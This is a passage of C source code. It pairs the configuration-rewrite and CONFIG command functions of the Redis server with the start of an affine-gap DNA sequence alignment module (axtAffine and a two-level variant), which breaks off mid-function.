previously, and we are not forced to use it. */ sdsfree(line); sdsfree(o); return; } if (l) { listNode *ln = listFirst(l); int linenum = (long) ln->value; /* There are still lines in the old configuration file we can reuse * for this option. Replace the line with the new one. */ listDelNode(l,ln); if (listLength(l) == 0) dictDelete(state->option_to_line,o); sdsfree(state->lines[linenum]); state->lines[linenum] = line; } else { /* Append a new line. */ if (!state->has_tail) { rewriteConfigAppendLine(state, sdsnew(REDIS_CONFIG_REWRITE_SIGNATURE)); state->has_tail = 1; } rewriteConfigAppendLine(state,line); } sdsfree(o); } /* Write the long long 'bytes' value as a string in a way that is parsable * inside redis.conf. If possible uses the GB, MB, KB notation. */ int rewriteConfigFormatMemory(char *buf, size_t len, long long bytes) { int gb = 1024*1024*1024; int mb = 1024*1024; int kb = 1024; if (bytes && (bytes % gb) == 0) { return snprintf(buf,len,"%lldgb",bytes/gb); } else if (bytes && (bytes % mb) == 0) { return snprintf(buf,len,"%lldmb",bytes/mb); } else if (bytes && (bytes % kb) == 0) { return snprintf(buf,len,"%lldkb",bytes/kb); } else { return snprintf(buf,len,"%lld",bytes); } } /* Rewrite a simple "option-name <bytes>" configuration option. */ void rewriteConfigBytesOption(struct rewriteConfigState *state, char *option, long long value, long long defvalue) { char buf[64]; int force = value != defvalue; sds line; rewriteConfigFormatMemory(buf,sizeof(buf),value); line = sdscatprintf(sdsempty(),"%s %s",option,buf); rewriteConfigRewriteLine(state,option,line,force); } /* Rewrite a yes/no option. */ void rewriteConfigYesNoOption(struct rewriteConfigState *state, char *option, int value, int defvalue) { int force = value != defvalue; sds line = sdscatprintf(sdsempty(),"%s %s",option, value ? "yes" : "no"); rewriteConfigRewriteLine(state,option,line,force); } /* Rewrite a string option. */ void rewriteConfigStringOption(struct rewriteConfigState *state, char *option, char *value, char *defvalue) { int force = 1; sds line; /* String options set to NULL need to be not present at all in the * configuration file to be set to NULL again at the next reboot. */ if (value == NULL) { rewriteConfigMarkAsProcessed(state,option); return; } /* Set force to zero if the value is set to its default. */ if (defvalue && strcmp(value,defvalue) == 0) force = 0; line = sdsnew(option); line = sdscatlen(line, " ", 1); line = sdscatrepr(line, value, strlen(value)); rewriteConfigRewriteLine(state,option,line,force); } /* Rewrite a numerical (long long range) option. */ void rewriteConfigNumericalOption(struct rewriteConfigState *state, char *option, long long value, long long defvalue) { int force = value != defvalue; sds line = sdscatprintf(sdsempty(),"%s %lld",option,value); rewriteConfigRewriteLine(state,option,line,force); } /* Rewrite a octal option. */ void rewriteConfigOctalOption(struct rewriteConfigState *state, char *option, int value, int defvalue) { int force = value != defvalue; sds line = sdscatprintf(sdsempty(),"%s %o",option,value); rewriteConfigRewriteLine(state,option,line,force); } /* Rewrite an enumeration option. It takes as usually state and option name, * and in addition the enumeration array and the default value for the * option. */ void rewriteConfigEnumOption(struct rewriteConfigState *state, char *option, int value, configEnum *ce, int defval) { sds line; const char *name = configEnumGetNameOrUnknown(ce,value); int force = value != defval; line = sdscatprintf(sdsempty(),"%s %s",option,name); rewriteConfigRewriteLine(state,option,line,force); } /* Rewrite the syslog-facility option. */ void rewriteConfigSyslogfacilityOption(struct rewriteConfigState *state) { int value = server.syslog_facility; int force = value != LOG_LOCAL0; const char *name = NULL, *option = "syslog-facility"; sds line; name = configEnumGetNameOrUnknown(syslog_facility_enum,value); line = sdscatprintf(sdsempty(),"%s %s",option,name); rewriteConfigRewriteLine(state,option,line,force); } /* Rewrite the save option. */ void rewriteConfigSaveOption(struct rewriteConfigState *state) { int j; sds line; /* Note that if there are no save parameters at all, all the current * config line with "save" will be detected as orphaned and deleted, * resulting into no RDB persistence as expected. */ for (j = 0; j < server.saveparamslen; j++) { line = sdscatprintf(sdsempty(),"save %ld %d", (long) server.saveparams[j].seconds, server.saveparams[j].changes); rewriteConfigRewriteLine(state,"save",line,1); } /* Mark "save" as processed in case server.saveparamslen is zero. */ rewriteConfigMarkAsProcessed(state,"save"); } /* Rewrite the dir option, always using absolute paths.*/ void rewriteConfigDirOption(struct rewriteConfigState *state) { char cwd[1024]; if (getcwd(cwd,sizeof(cwd)) == NULL) { rewriteConfigMarkAsProcessed(state,"dir"); return; /* no rewrite on error. */ } rewriteConfigStringOption(state,"dir",cwd,NULL); } /* Rewrite the slaveof option. */ void rewriteConfigSlaveofOption(struct rewriteConfigState *state) { char *option = "slaveof"; sds line; /* If this is a master, we want all the slaveof config options * in the file to be removed. Note that if this is a cluster instance * we don't want a slaveof directive inside redis.conf. */ if (server.cluster_enabled || server.masterhost == NULL) { rewriteConfigMarkAsProcessed(state,"slaveof"); return; } line = sdscatprintf(sdsempty(),"%s %s %d", option, server.masterhost, server.masterport); rewriteConfigRewriteLine(state,option,line,1); } /* Rewrite the notify-keyspace-events option. */ void rewriteConfigNotifykeyspaceeventsOption(struct rewriteConfigState *state) { int force = server.notify_keyspace_events != 0; char *option = "notify-keyspace-events"; sds line, flags; flags = keyspaceEventsFlagsToString(server.notify_keyspace_events); line = sdsnew(option); line = sdscatlen(line, " ", 1); line = sdscatrepr(line, flags, sdslen(flags)); sdsfree(flags); rewriteConfigRewriteLine(state,option,line,force); } /* Rewrite the client-output-buffer-limit option. */ void rewriteConfigClientoutputbufferlimitOption(struct rewriteConfigState *state) { int j; char *option = "client-output-buffer-limit"; for (j = 0; j < CLIENT_TYPE_OBUF_COUNT; j++) { int force = (server.client_obuf_limits[j].hard_limit_bytes != clientBufferLimitsDefaults[j].hard_limit_bytes) || (server.client_obuf_limits[j].soft_limit_bytes != clientBufferLimitsDefaults[j].soft_limit_bytes) || (server.client_obuf_limits[j].soft_limit_seconds != clientBufferLimitsDefaults[j].soft_limit_seconds); sds line; char hard[64], soft[64]; rewriteConfigFormatMemory(hard,sizeof(hard), server.client_obuf_limits[j].hard_limit_bytes); rewriteConfigFormatMemory(soft,sizeof(soft), server.client_obuf_limits[j].soft_limit_bytes); line = sdscatprintf(sdsempty(),"%s %s %s %s %ld", option, getClientTypeName(j), hard, soft, (long) server.client_obuf_limits[j].soft_limit_seconds); rewriteConfigRewriteLine(state,option,line,force); } } /* Rewrite the bind option. */ void rewriteConfigBindOption(struct rewriteConfigState *state) { int force = 1; sds line, addresses; char *option = "bind"; /* Nothing to rewrite if we don't have bind addresses. */ if (server.bindaddr_count == 0) { rewriteConfigMarkAsProcessed(state,option); return; } /* Rewrite as bind <addr1> <addr2> ... <addrN> */ addresses = sdsjoin(server.bindaddr,server.bindaddr_count," "); line = sdsnew(option); line = sdscatlen(line, " ", 1); line = sdscatsds(line, addresses); sdsfree(addresses); rewriteConfigRewriteLine(state,option,line,force); } /* Glue together the configuration lines in the current configuration * rewrite state into a single string, stripping multiple empty lines. */ sds rewriteConfigGetContentFromState(struct rewriteConfigState *state) { sds content = sdsempty(); int j, was_empty = 0; for (j = 0; j < state->numlines; j++) { /* Every cluster of empty lines is turned into a single empty line. */ if (sdslen(state->lines[j]) == 0) { if (was_empty) continue; was_empty = 1; } else { was_empty = 0; } content = sdscatsds(content,state->lines[j]); content = sdscatlen(content,"\n",1); } return content; } /* Free the configuration rewrite state. */ void rewriteConfigReleaseState(struct rewriteConfigState *state) { sdsfreesplitres(state->lines,state->numlines); dictRelease(state->option_to_line); dictRelease(state->rewritten); zfree(state); } /* At the end of the rewrite process the state contains the remaining * map between "option name" => "lines in the original config file". * Lines used by the rewrite process were removed by the function * rewriteConfigRewriteLine(), all the other lines are "orphaned" and * should be replaced by empty lines. * * This function does just this, iterating all the option names and * blanking all the lines still associated. */ void rewriteConfigRemoveOrphaned(struct rewriteConfigState *state) { dictIterator *di = dictGetIterator(state->option_to_line); dictEntry *de; while((de = dictNext(di)) != NULL) { list *l = dictGetVal(de); sds option = dictGetKey(de); /* Don't blank lines about options the rewrite process * don't understand. */ if (dictFind(state->rewritten,option) == NULL) { serverLog(LL_DEBUG,"Not rewritten option: %s", option); continue; } while(listLength(l)) { listNode *ln = listFirst(l); int linenum = (long) ln->value; sdsfree(state->lines[linenum]); state->lines[linenum] = sdsempty(); listDelNode(l,ln); } } dictReleaseIterator(di); } /* This function overwrites the old configuration file with the new content. * * 1) The old file length is obtained. * 2) If the new content is smaller, padding is added. * 3) A single write(2) call is used to replace the content of the file. * 4) Later the file is truncated to the length of the new content. * * This way we are sure the file is left in a consistent state even if the * process is stopped between any of the four operations. * * The function returns 0 on success, otherwise -1 is returned and errno * set accordingly. */ int rewriteConfigOverwriteFile(char *configfile, sds content) { int retval = 0; int fd = open(configfile,O_RDWR|O_CREAT,0644); int content_size = sdslen(content), padding = 0; struct stat sb; sds content_padded; /* 1) Open the old file (or create a new one if it does not * exist), get the size. */ if (fd == -1) return -1; /* errno set by open(). */ if (fstat(fd,&sb) == -1) { close(fd); return -1; /* errno set by fstat(). */ } /* 2) Pad the content at least match the old file size. */ content_padded = sdsdup(content); if (content_size < sb.st_size) { /* If the old file was bigger, pad the content with * a newline plus as many "#" chars as required. */ padding = sb.st_size - content_size; content_padded = sdsgrowzero(content_padded,sb.st_size); content_padded[content_size] = '\n'; memset(content_padded+content_size+1,'#',padding-1); } /* 3) Write the new content using a single write(2). */ if (write(fd,content_padded,strlen(content_padded)) == -1) { retval = -1; goto cleanup; } /* 4) Truncate the file to the right length if we used padding. */ if (padding) { if (ftruncate(fd,content_size) == -1) { /* Non critical error... */ } } cleanup: sdsfree(content_padded); close(fd); return retval; } /* Rewrite the configuration file at "path". * If the configuration file already exists, we try at best to retain comments * and overall structure. * * Configuration parameters that are at their default value, unless already * explicitly included in the old configuration file, are not rewritten. * * On error -1 is returned and errno is set accordingly, otherwise 0. */ int rewriteConfig(char *path) { struct rewriteConfigState *state; sds newcontent; int retval; /* Step 1: read the old config into our rewrite state. */ if ((state = rewriteConfigReadOldFile(path)) == NULL) return -1; /* Step 2: rewrite every single option, replacing or appending it inside * the rewrite state. */ rewriteConfigYesNoOption(state,"daemonize",server.daemonize,0); rewriteConfigStringOption(state,"pidfile",server.pidfile,CONFIG_DEFAULT_PID_FILE); rewriteConfigNumericalOption(state,"port",server.port,CONFIG_DEFAULT_SERVER_PORT); rewriteConfigNumericalOption(state,"cluster-announce-port",server.cluster_announce_port,CONFIG_DEFAULT_CLUSTER_ANNOUNCE_PORT); rewriteConfigNumericalOption(state,"cluster-announce-bus-port",server.cluster_announce_bus_port,CONFIG_DEFAULT_CLUSTER_ANNOUNCE_BUS_PORT); rewriteConfigNumericalOption(state,"tcp-backlog",server.tcp_backlog,CONFIG_DEFAULT_TCP_BACKLOG); rewriteConfigBindOption(state); rewriteConfigStringOption(state,"unixsocket",server.unixsocket,NULL); rewriteConfigOctalOption(state,"unixsocketperm",server.unixsocketperm,CONFIG_DEFAULT_UNIX_SOCKET_PERM); rewriteConfigNumericalOption(state,"timeout",server.maxidletime,CONFIG_DEFAULT_CLIENT_TIMEOUT); rewriteConfigNumericalOption(state,"tcp-keepalive",server.tcpkeepalive,CONFIG_DEFAULT_TCP_KEEPALIVE); rewriteConfigNumericalOption(state,"slave-announce-port",server.slave_announce_port,CONFIG_DEFAULT_SLAVE_ANNOUNCE_PORT); rewriteConfigEnumOption(state,"loglevel",server.verbosity,loglevel_enum,CONFIG_DEFAULT_VERBOSITY); rewriteConfigStringOption(state,"logfile",server.logfile,CONFIG_DEFAULT_LOGFILE); rewriteConfigYesNoOption(state,"syslog-enabled",server.syslog_enabled,CONFIG_DEFAULT_SYSLOG_ENABLED); rewriteConfigStringOption(state,"syslog-ident",server.syslog_ident,CONFIG_DEFAULT_SYSLOG_IDENT); rewriteConfigSyslogfacilityOption(state); rewriteConfigSaveOption(state); rewriteConfigNumericalOption(state,"databases",server.dbnum,CONFIG_DEFAULT_DBNUM); rewriteConfigYesNoOption(state,"stop-writes-on-bgsave-error",server.stop_writes_on_bgsave_err,CONFIG_DEFAULT_STOP_WRITES_ON_BGSAVE_ERROR); rewriteConfigYesNoOption(state,"rdbcompression",server.rdb_compression,CONFIG_DEFAULT_RDB_COMPRESSION); rewriteConfigYesNoOption(state,"rdbchecksum",server.rdb_checksum,CONFIG_DEFAULT_RDB_CHECKSUM); rewriteConfigStringOption(state,"dbfilename",server.rdb_filename,CONFIG_DEFAULT_RDB_FILENAME); rewriteConfigDirOption(state); rewriteConfigSlaveofOption(state); rewriteConfigStringOption(state,"slave-announce-ip",server.slave_announce_ip,CONFIG_DEFAULT_SLAVE_ANNOUNCE_IP); rewriteConfigStringOption(state,"masterauth",server.masterauth,NULL); rewriteConfigStringOption(state,"cluster-announce-ip",server.cluster_announce_ip,NULL); rewriteConfigYesNoOption(state,"slave-serve-stale-data",server.repl_serve_stale_data,CONFIG_DEFAULT_SLAVE_SERVE_STALE_DATA); rewriteConfigYesNoOption(state,"slave-read-only",server.repl_slave_ro,CONFIG_DEFAULT_SLAVE_READ_ONLY); rewriteConfigNumericalOption(state,"repl-ping-slave-period",server.repl_ping_slave_period,CONFIG_DEFAULT_REPL_PING_SLAVE_PERIOD); rewriteConfigNumericalOption(state,"repl-timeout",server.repl_timeout,CONFIG_DEFAULT_REPL_TIMEOUT); rewriteConfigBytesOption(state,"repl-backlog-size",server.repl_backlog_size,CONFIG_DEFAULT_REPL_BACKLOG_SIZE); rewriteConfigBytesOption(state,"repl-backlog-ttl",server.repl_backlog_time_limit,CONFIG_DEFAULT_REPL_BACKLOG_TIME_LIMIT); rewriteConfigYesNoOption(state,"repl-disable-tcp-nodelay",server.repl_disable_tcp_nodelay,CONFIG_DEFAULT_REPL_DISABLE_TCP_NODELAY); rewriteConfigYesNoOption(state,"repl-diskless-sync",server.repl_diskless_sync,CONFIG_DEFAULT_REPL_DISKLESS_SYNC); rewriteConfigNumericalOption(state,"repl-diskless-sync-delay",server.repl_diskless_sync_delay,CONFIG_DEFAULT_REPL_DISKLESS_SYNC_DELAY); rewriteConfigNumericalOption(state,"slave-priority",server.slave_priority,CONFIG_DEFAULT_SLAVE_PRIORITY); rewriteConfigNumericalOption(state,"min-slaves-to-write",server.repl_min_slaves_to_write,CONFIG_DEFAULT_MIN_SLAVES_TO_WRITE); rewriteConfigNumericalOption(state,"min-slaves-max-lag",server.repl_min_slaves_max_lag,CONFIG_DEFAULT_MIN_SLAVES_MAX_LAG); rewriteConfigStringOption(state,"requirepass",server.requirepass,NULL); rewriteConfigNumericalOption(state,"maxclients",server.maxclients,CONFIG_DEFAULT_MAX_CLIENTS); rewriteConfigBytesOption(state,"maxmemory",server.maxmemory,CONFIG_DEFAULT_MAXMEMORY); rewriteConfigEnumOption(state,"maxmemory-policy",server.maxmemory_policy,maxmemory_policy_enum,CONFIG_DEFAULT_MAXMEMORY_POLICY); rewriteConfigNumericalOption(state,"maxmemory-samples",server.maxmemory_samples,CONFIG_DEFAULT_MAXMEMORY_SAMPLES); rewriteConfigNumericalOption(state,"lfu-log-factor",server.lfu_log_factor,CONFIG_DEFAULT_LFU_LOG_FACTOR); rewriteConfigNumericalOption(state,"lfu-decay-time",server.lfu_decay_time,CONFIG_DEFAULT_LFU_DECAY_TIME); rewriteConfigNumericalOption(state,"active-defrag-threshold-lower",server.active_defrag_threshold_lower,CONFIG_DEFAULT_DEFRAG_THRESHOLD_LOWER); rewriteConfigNumericalOption(state,"active-defrag-threshold-upper",server.active_defrag_threshold_upper,CONFIG_DEFAULT_DEFRAG_THRESHOLD_UPPER); rewriteConfigBytesOption(state,"active-defrag-ignore-bytes",server.active_defrag_ignore_bytes,CONFIG_DEFAULT_DEFRAG_IGNORE_BYTES); rewriteConfigNumericalOption(state,"active-defrag-cycle-min",server.active_defrag_cycle_min,CONFIG_DEFAULT_DEFRAG_CYCLE_MIN); rewriteConfigNumericalOption(state,"active-defrag-cycle-max",server.active_defrag_cycle_max,CONFIG_DEFAULT_DEFRAG_CYCLE_MAX); rewriteConfigYesNoOption(state,"appendonly",server.aof_state != AOF_OFF,0); rewriteConfigStringOption(state,"appendfilename",server.aof_filename,CONFIG_DEFAULT_AOF_FILENAME); rewriteConfigEnumOption(state,"appendfsync",server.aof_fsync,aof_fsync_enum,CONFIG_DEFAULT_AOF_FSYNC); rewriteConfigYesNoOption(state,"no-appendfsync-on-rewrite",server.aof_no_fsync_on_rewrite,CONFIG_DEFAULT_AOF_NO_FSYNC_ON_REWRITE); rewriteConfigNumericalOption(state,"auto-aof-rewrite-percentage",server.aof_rewrite_perc,AOF_REWRITE_PERC); rewriteConfigBytesOption(state,"auto-aof-rewrite-min-size",server.aof_rewrite_min_size,AOF_REWRITE_MIN_SIZE); rewriteConfigNumericalOption(state,"lua-time-limit",server.lua_time_limit,LUA_SCRIPT_TIME_LIMIT); rewriteConfigYesNoOption(state,"cluster-enabled",server.cluster_enabled,0); rewriteConfigStringOption(state,"cluster-config-file",server.cluster_configfile,CONFIG_DEFAULT_CLUSTER_CONFIG_FILE); rewriteConfigYesNoOption(state,"cluster-require-full-coverage",server.cluster_require_full_coverage,CLUSTER_DEFAULT_REQUIRE_FULL_COVERAGE); rewriteConfigNumericalOption(state,"cluster-node-timeout",server.cluster_node_timeout,CLUSTER_DEFAULT_NODE_TIMEOUT); rewriteConfigNumericalOption(state,"cluster-migration-barrier",server.cluster_migration_barrier,CLUSTER_DEFAULT_MIGRATION_BARRIER); rewriteConfigNumericalOption(state,"cluster-slave-validity-factor",server.cluster_slave_validity_factor,CLUSTER_DEFAULT_SLAVE_VALIDITY); rewriteConfigNumericalOption(state,"slowlog-log-slower-than",server.slowlog_log_slower_than,CONFIG_DEFAULT_SLOWLOG_LOG_SLOWER_THAN); rewriteConfigNumericalOption(state,"latency-monitor-threshold",server.latency_monitor_threshold,CONFIG_DEFAULT_LATENCY_MONITOR_THRESHOLD); rewriteConfigNumericalOption(state,"slowlog-max-len",server.slowlog_max_len,CONFIG_DEFAULT_SLOWLOG_MAX_LEN); rewriteConfigNotifykeyspaceeventsOption(state); rewriteConfigNumericalOption(state,"hash-max-ziplist-entries",server.hash_max_ziplist_entries,OBJ_HASH_MAX_ZIPLIST_ENTRIES); rewriteConfigNumericalOption(state,"hash-max-ziplist-value",server.hash_max_ziplist_value,OBJ_HASH_MAX_ZIPLIST_VALUE); rewriteConfigNumericalOption(state,"list-max-ziplist-size",server.list_max_ziplist_size,OBJ_LIST_MAX_ZIPLIST_SIZE); rewriteConfigNumericalOption(state,"list-compress-depth",server.list_compress_depth,OBJ_LIST_COMPRESS_DEPTH); rewriteConfigNumericalOption(state,"set-max-intset-entries",server.set_max_intset_entries,OBJ_SET_MAX_INTSET_ENTRIES); rewriteConfigNumericalOption(state,"zset-max-ziplist-entries",server.zset_max_ziplist_entries,OBJ_ZSET_MAX_ZIPLIST_ENTRIES); rewriteConfigNumericalOption(state,"zset-max-ziplist-value",server.zset_max_ziplist_value,OBJ_ZSET_MAX_ZIPLIST_VALUE); rewriteConfigNumericalOption(state,"hll-sparse-max-bytes",server.hll_sparse_max_bytes,CONFIG_DEFAULT_HLL_SPARSE_MAX_BYTES); rewriteConfigYesNoOption(state,"activerehashing",server.activerehashing,CONFIG_DEFAULT_ACTIVE_REHASHING); rewriteConfigYesNoOption(state,"activedefrag",server.active_defrag_enabled,CONFIG_DEFAULT_ACTIVE_DEFRAG); rewriteConfigYesNoOption(state,"protected-mode",server.protected_mode,CONFIG_DEFAULT_PROTECTED_MODE); rewriteConfigClientoutputbufferlimitOption(state); rewriteConfigNumericalOption(state,"hz",server.hz,CONFIG_DEFAULT_HZ); rewriteConfigYesNoOption(state,"aof-rewrite-incremental-fsync",server.aof_rewrite_incremental_fsync,CONFIG_DEFAULT_AOF_REWRITE_INCREMENTAL_FSYNC); rewriteConfigYesNoOption(state,"aof-load-truncated",server.aof_load_truncated,CONFIG_DEFAULT_AOF_LOAD_TRUNCATED); rewriteConfigYesNoOption(state,"aof-use-rdb-preamble",server.aof_use_rdb_preamble,CONFIG_DEFAULT_AOF_USE_RDB_PREAMBLE); rewriteConfigEnumOption(state,"supervised",server.supervised_mode,supervised_mode_enum,SUPERVISED_NONE); rewriteConfigYesNoOption(state,"lazyfree-lazy-eviction",server.lazyfree_lazy_eviction,CONFIG_DEFAULT_LAZYFREE_LAZY_EVICTION); rewriteConfigYesNoOption(state,"lazyfree-lazy-expire",server.lazyfree_lazy_expire,CONFIG_DEFAULT_LAZYFREE_LAZY_EXPIRE); rewriteConfigYesNoOption(state,"lazyfree-lazy-server-del",server.lazyfree_lazy_server_del,CONFIG_DEFAULT_LAZYFREE_LAZY_SERVER_DEL); rewriteConfigYesNoOption(state,"slave-lazy-flush",server.repl_slave_lazy_flush,CONFIG_DEFAULT_SLAVE_LAZY_FLUSH); /* Rewrite Sentinel config if in Sentinel mode. */ if (server.sentinel_mode) rewriteConfigSentinelOption(state); /* Step 3: remove all the orphaned lines in the old file, that is, lines * that were used by a config option and are no longer used, like in case * of multiple "save" options or duplicated options. */ rewriteConfigRemoveOrphaned(state); /* Step 4: generate a new configuration file from the modified state * and write it into the original file. */ newcontent = rewriteConfigGetContentFromState(state); retval = rewriteConfigOverwriteFile(server.configfile,newcontent); sdsfree(newcontent); rewriteConfigReleaseState(state); return retval; } /*----------------------------------------------------------------------------- * CONFIG command entry point *----------------------------------------------------------------------------*/ void configCommand(client *c) { /* Only allow CONFIG GET while loading. */ if (server.loading && strcasecmp(c->argv[1]->ptr,"get")) { addReplyError(c,"Only CONFIG GET is allowed during loading"); return; } if (!strcasecmp(c->argv[1]->ptr,"set")) { if (c->argc != 4) goto badarity; configSetCommand(c); } else if (!strcasecmp(c->argv[1]->ptr,"get")) { if (c->argc != 3) goto badarity; configGetCommand(c); } else if (!strcasecmp(c->argv[1]->ptr,"resetstat")) { if (c->argc != 2) goto badarity; resetServerStats(); resetCommandTableStats(); addReply(c,shared.ok); } else if (!strcasecmp(c->argv[1]->ptr,"rewrite")) { if (c->argc != 2) goto badarity; if (server.configfile == NULL) { addReplyError(c,"The server is running without a config file"); return; } if (rewriteConfig(server.configfile) == -1) { serverLog(LL_WARNING,"CONFIG REWRITE failed: %s", strerror(errno)); addReplyErrorFormat(c,"Rewriting config file: %s", strerror(errno)); } else { serverLog(LL_WARNING,"CONFIG REWRITE executed with success."); addReply(c,shared.ok); } } else { addReplyError(c, "CONFIG subcommand must be one of GET, SET, RESETSTAT, REWRITE"); } return; badarity: addReplyErrorFormat(c,"Wrong number of arguments for CONFIG %s", (char*) c->argv[1]->ptr); }
935300.c
/* axtAffine - do alignment of two (shortish) sequences with * affine gap scoring, and return the result as an axt. * This file is copyright 2000-2004 Jim Kent, but license is hereby * granted for all use - public, private or commercial. */ #include "common.h" #include "pairHmm.h" #include "axt.h" boolean axtAffineSmallEnough(double querySize, double targetSize) /* Return TRUE if it is reasonable to align sequences of given sizes * with axtAffine. */ { return targetSize * querySize <= 1.0E8; } static void affineAlign(char *query, int querySize, char *target, int targetSize, struct axtScoreScheme *ss, struct phmmMatrix **retMatrix, struct phmmAliPair **retPairList, int *retScore) /* Use dynamic programming to do alignment including affine gap * scores. */ { struct phmmMatrix *a; struct phmmState *hf, *iq, *it; int qIx, tIx, sIx; /* Query, target, and state indices */ int rowOffset, newCellOffset; int bestScore = -0x4fffffff; struct phmmMommy *bestCell = NULL; int matchPair; int gapStart, gapExt; /* Check that it's not too big. */ if (!axtAffineSmallEnough(querySize, targetSize)) errAbort("Can't align %d x %d, too big\n", querySize, targetSize); gapStart = -ss->gapOpen; gapExt = -ss->gapExtend; /* Initialize 3 state matrix (match, query insert, target insert). */ a = phmmMatrixNew(3, query, querySize, target, targetSize); hf = phmmNameState(a, 0, "match", 'M'); iq = phmmNameState(a, 1, "qSlip", 'Q'); it = phmmNameState(a, 2, "tSlip", 'T'); for (tIx = 1; tIx < a->tDim; tIx += 1) { UBYTE mommy = 0; int score, tempScore; /* Macros to make me less mixed up when accessing scores from row arrays.*/ #define matchScore lastScores[qIx-1] #define qSlipScore lastScores[qIx] #define tSlipScore scores[qIx-1] #define newScore scores[qIx] /* Start up state block (with all ways to enter state) */ #define startState(state) \ score = 0; /* Define a transition from state while advancing over both * target and query. */ #define matchState(state, addScore) \ { \ if ((tempScore = state->matchScore + addScore) > score) \ { \ mommy = phmmPackMommy(state->stateIx, -1, -1); \ score = tempScore; \ } \ } /* Define a transition from state while slipping query * and advancing target. */ #define qSlipState(state, addScore) \ { \ if ((tempScore = state->qSlipScore + addScore) > score) \ { \ mommy = phmmPackMommy(state->stateIx, 0, -1); \ score = tempScore; \ } \ } /* Define a transition from state while slipping target * and advancing query. */ #define tSlipState(state, addScore) \ { \ if ((tempScore = state->tSlipScore + addScore) > score) \ { \ mommy = phmmPackMommy(state->stateIx, -1, 0); \ score = tempScore; \ } \ } /* End a block of transitions into state. */ #define endState(state) \ { \ struct phmmMommy *newCell = state->cells + newCellOffset; \ if (score <= 0) \ { \ mommy = phmmNullMommy; \ score = 0; \ } \ newCell->mommy = mommy; \ state->newScore = score; \ if (score > bestScore) \ { \ bestScore = score; \ bestCell = newCell; \ } \ } /* End a state that you know won't produce an optimal * final score. */ #define shortEndState(state) \ { \ struct phmmMommy *newCell = state->cells + newCellOffset; \ if (score <= 0) \ { \ mommy = phmmNullMommy; \ score = 0; \ } \ newCell->mommy = mommy; \ state->newScore = score; \ } rowOffset = tIx*a->qDim; for (qIx = 1; qIx < a->qDim; qIx += 1) { newCellOffset = rowOffset + qIx; /* Figure the cost or bonus for pairing target and query residue here. */ matchPair = ss->matrix[(int)a->query[qIx-1]][(int)a->target[tIx-1]]; /* Update hiFi space. */ { startState(hf); matchState(hf, matchPair); matchState(iq, matchPair); matchState(it, matchPair); endState(hf); } /* Update query slip space. */ { startState(iq); qSlipState(iq, gapExt); qSlipState(hf, gapStart); qSlipState(it, gapStart); /* Allow double gaps, T first always. */ shortEndState(iq); } /* Update target slip space. */ { startState(it); tSlipState(it, gapExt); tSlipState(hf, gapStart); shortEndState(it); } } /* Swap score columns so current becomes last, and last gets * reused. */ for (sIx = 0; sIx < a->stateCount; ++sIx) { struct phmmState *as = &a->states[sIx]; int *swapTemp = as->lastScores; as->lastScores = as->scores; as->scores = swapTemp; } } /* Trace back from best scoring cell. */ *retPairList = phmmTraceBack(a, bestCell); *retMatrix = a; *retScore = bestScore; #undef matchScore #undef qSlipScore #undef tSlipScore #undef newScore #undef startState #undef matchState #undef qSlipState #undef tSlipState #undef shortEndState #undef endState } struct axt *axtAffine(bioSeq *query, bioSeq *target, struct axtScoreScheme *ss) /* Return alignment if any of query and target using scoring scheme. */ { struct axt *axt; int score; struct phmmMatrix *matrix; struct phmmAliPair *pairList; affineAlign(query->dna, query->size, target->dna, target->size, ss, &matrix, &pairList, &score); axt = phhmTraceToAxt(matrix, pairList, score, query->name, target->name); phmmMatrixFree(&matrix); slFreeList(&pairList); return axt; } /* ----- axtAffine2Level begins ----- Written by Galt Barber, December 2004 I wrote this on my own time and am donating this to the public domain. The original concept was Don Speck's, as described by Kevin Karplus. @article{Grice97, author = "J. A. Grice and R. Hughey and D. Speck", title = "Reduced space sequence alignment", journal = cabios, volume=13, number=1, year=1997, month=feb, pages="45-53" } */ #define WORST 0xC0000000 /* WORST Score approx neg. inf. 0x80000000 overflowed, reduced by half */ /* m d i notation: match, delete, insert in query */ struct cell2L { int bestm; /* best score array */ int bestd; int besti; char backm; /* back trace array */ char backd; char backi; }; #ifdef DEBUG void dump2L(struct cell2L* c) /* print matrix cell for debugging I redirect output to a file and look at it with a web browser to see the long lines */ { printf("%04d%c %04d%c %04d%c ", c->bestd, c->backd, c->bestm, c->backm, c->besti, c->backi ); } #endif void kForwardAffine( struct cell2L *cells, /* dyn prg arr cells */ int row, /* starting row base */ int rowmax, /* ending row */ int rdelta, /* convert between real targ seq row and logical row */ int cmost, /* track right edge, shrink as traces back */ int lv, /* width of array including sentinel col 0 */ char *q, /* query and target seqs */ char *t, struct axtScoreScheme *ss, /* score scheme passed in */ int *bestbestOut, /* return best overall found, and it's row and col */ int *bestrOut, int *bestcOut, char *bestdirOut ) /* Calculates filling dynprg mtx forward. Called 3 times from affine2Level. row is offset into the actual best and back arrays, so rdelta serves as a conversion between the real target seq row and the logical row used in best and back arrays. cmost is a column limiter that lets us avoid unused areas of the array when doing the backtrace 2nd pass. This can be an average of half of the total array saved. */ { int r=0, rr=0; int gapOpen =ss->gapOpen; int gapExtend=ss->gapExtend; int doubleGap=ss->gapExtend; // this can be gapOpen or gapExtend, or custom ? struct cell2L *cellp,*cellc; /* current and previous row base */ struct cell2L *u,*d,*l,*s; /* up,diag,left,self pointers to hopefully speed things up */ int c=0; int bestbest = *bestbestOut; /* make local copy of best best */ cellc = cells+(row-1)*lv; /* start it off one row back coming into loop */ #ifdef DEBUG for(c=0;c<=cmost;c++) /* show prev row */ { dump2L(cellc+c); } printf("\n"); #endif for(r=row; r<=rowmax; r++) { cellp = cellc; cellc += lv; /* initialize pointers to curr and prev rows */ rr = r+rdelta; d = cellp; /* diag is prev row, prev col */ l = cellc; /* left is curr row, prev col */ u = d+1; /* up is prev row, curr col */ s = l+1; /* self is curr row, curr col */ /* handle col 0 sentinel as a delete */ l->bestm=WORST; l->bestd=d->bestd-gapExtend; l->besti=WORST; l->backm='x'; l->backd='d'; l->backi='x'; if (rr==1) /* special case row 1 col 0 */ { l->bestd=-gapOpen; l->backd='m'; } #ifdef DEBUG dump2L(cellc); #endif for(c=1; c<=cmost; c++) { int best=WORST; int try =WORST; char dir=' '; /* note: is matrix symmetrical? if not we could have dim 1 and 2 backwards */ int subst = ss->matrix[(int)q[c-1]][(int)t[rr-1]]; /* score for pairing target and query. */ /* find best M match query and target */ best=WORST; try=d->bestd; if (try > best) { best=try; dir='d'; } try=d->bestm; if (try > best) { best=try; dir='m'; } try=d->besti; if (try > best) { best=try; dir='i'; } try=0; /* local ali can start anywhere */ if (try > best) { best=try; dir='s'; } best += subst; s->bestm = best; s->backm = dir; if 